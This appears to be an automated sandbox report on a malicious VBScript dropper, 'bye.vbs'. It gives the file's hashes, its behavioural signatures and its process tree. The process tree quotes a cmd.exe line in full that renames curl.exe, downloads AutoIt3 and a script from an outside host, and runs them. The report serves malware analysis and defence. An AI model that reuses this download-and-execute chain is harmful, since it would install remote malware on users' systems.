4c4a5c51dc3e8cf6b2a3f6fd54008593002daa180fe73489e93da5e0d152be4f

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
03/10/2023, 14:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bye.vbs
Size

19KB
MD5

a19d814f720701a258a6e8b5a22b22c9
SHA1

cbdcdefb3328f1473bb1da624ed2bf9515ffd2c3
SHA256

7d4115e88411e7bcac9ed622dbb6554ff4015c6f9fed98a5427970ceada526e6
SHA512

51b2a31f0c4fce15d87d1ab88d8e383ee7f8be0e9075183a22c6bfcca48dd30d43ca7987baf3c811ab11a4132199a31213d3096c91a645127f13b7703d3bd044
SSDEEP

384:fwcem3DxZbJ6TZZfOEcMR/vuvP3RhbWbdVIIo+T6ncfzeQhs7h7:YcXZ16/+MRSbbaX9yp7h7

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	3020	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 2076	3020	WScript.exe	28
PID 3020 wrote to memory of 2076	3020	WScript.exe	28
PID 3020 wrote to memory of 2076	3020	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bye.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir c:\dcvj & cd /d c:\dcvj & copy c:\windows\system32\curl.exe dcvj.exe & dcvj -H "User-Agent: curl" -o Autoit3.exe http://searcherbigdealk.com:2351 & dcvj -o xiqhfz.au3 http://searcherbigdealk.com:2351/msidcvjgknu & Autoit3.exe xiqhfz.au3
  2⤵
  PID:2076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads